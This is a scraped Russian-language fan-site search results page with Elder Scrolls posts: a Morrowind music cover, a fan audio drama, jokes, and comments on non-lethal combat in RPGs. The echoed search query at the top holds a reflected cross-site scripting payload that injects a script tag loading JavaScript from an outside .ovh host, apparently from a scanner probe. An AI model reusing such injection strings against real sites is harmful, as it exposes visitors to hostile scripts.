Результаты поиска по запросу «
"></meta><Script e=">" src="https://wapiti3.ovh/1z.js"></Script>
»сделал сам Dryante Музыка из игр кавер Morrowind музыка folk OST Music&Atmosphere пикабушник The Elder Scrolls фэндомы Игры Jeremy Soule арфа тин вистл
Кавер Peaceful Waters из Морровинда
Исполнил один из любимых треков Джереми Соула на целой куче музыкальных инструментов под крики силт-страйдера. Для этого понадобилось сгонять в Сейда Нин и примоститься с арфой на камне во мху на краю болот неподалёку от дома Фаргота. Но перед этим пришлось-таки пройти через имперскую канцелярию с Сокуциусом Эргалла, чтобы заполнить грёбаные бумаги - без них не пускают. При записи данного видео ни один грязекраб не пострадал.
Тамриэльские Хроники audio Древние Свитки Oblivion Morrowind Skyrim TES фанатское озвучил сам The Elder Scrolls фэндомы
Тамриэльские Хроники - Игра за обедом
Привет реактор. Отличные новости - теперь у "Тамриэльских Хроник" появился свой собственный раздел в фэндоме The Elder Scrolls.Таким образом вы сможете подписаться на тэг и отслеживать появление новых "выпусков". Приятного прослушивания!P.S. Так же предыдущие выпуски можно найти здесь - http://artary.podfm.ru/TES_story/
(предыдущую версию поста пришлось удалить - пропали тэги и не добавлялись, прошу прощения)
Краткое содержание: Если бы вы были принцем и после всех злоключений попали на свою "малую родину" и понадеялись в будущем взять власть в свои руки, доверяли бы вы своему окружению? Да? А вот принц Хелсет кажется — нет...
khajiit TES расы TES Other The Elder Scrolls фэндомы
Каджит настолько быстрый что уже в тюрьме
Доктор Жесть04.10.202211:07ссылка
частушки Skyrim Тодд Говард Игры TES Other The Elder Scrolls фэндомы
Отличный комментарий!
Пффф, чаришь лук пока не надоест - ваншотаешь драконов.
Ну и бесишься, что в радиусе 500 м (если я правильно помню) стрелы тупо испаряются, не позволяю делать супер дальние стелс убийства...
Ну и бесишься, что в радиусе 500 м (если я правильно помню) стрелы тупо испаряются, не позволяю делать супер дальние стелс убийства...
Мне для друга10.10.202222:29ссылка
wolfradsenpai Альтмер TES расы Skyrim The Elder Scrolls фэндомы
Отличный комментарий!
Смех смехом, а поручики одним местом, но в больших видеоиграх, да и ролевых тоже, уже поднадоедает факт того, что любое столкновение и любой конфликт является боем до смерти и последнего выжившего, если заранее прописанный сюжет не говорит обратного, где любой моб в ошмётках существует только ради того, чтобы доблестно убиться об ГГ. (в обратную сторону тоже вполне работает)
В основном из-за ограниченности ресурсов любой РПГ - в отличии от настолки, где каждую стычку с пощажёнными противниками будет иметь в виду ДМ, в компьютерной игре надо будет учитывать дохрена переменных, отвечающих за последующую судьбу каждого такого непися. При этом всё это надо будет динамически интегрировать в игровой мир не сломав квесты, поведение неписей в локациях, репутацию ГГ и т.д. А если их просто победы убирать из игры после этого, то какая разница - замочил ты их или нет? И это только если мы говорим о таких видах NPC как "бандит", а если они ещё и фракционные персонажи или связаны с сюжетными квестами это ещё целый этаж сложных механик.
Ну и ещё банальное - противник тебе сдался, что теперь - сдать стражникам? Ну замечательно, ближайший город в 15 минутах пути в реальном времени. Получается овердохрена эскорт-миссий за слабую награду. И даже с быстрым перемещением это всё равно нудная рутина, которую по-хорошему в играх надо избегать.
Ну и ещё банальное - противник тебе сдался, что теперь - сдать стражникам? Ну замечательно, ближайший город в 15 минутах пути в реальном времени. Получается овердохрена эскорт-миссий за слабую награду. И даже с быстрым перемещением это всё равно нудная рутина, которую по-хорошему в играх надо избегать.
Ну 1-я Готика же давала нелетально избивать людей.
Lord Ksenos19.03.202318:58ссылка
Отличный комментарий!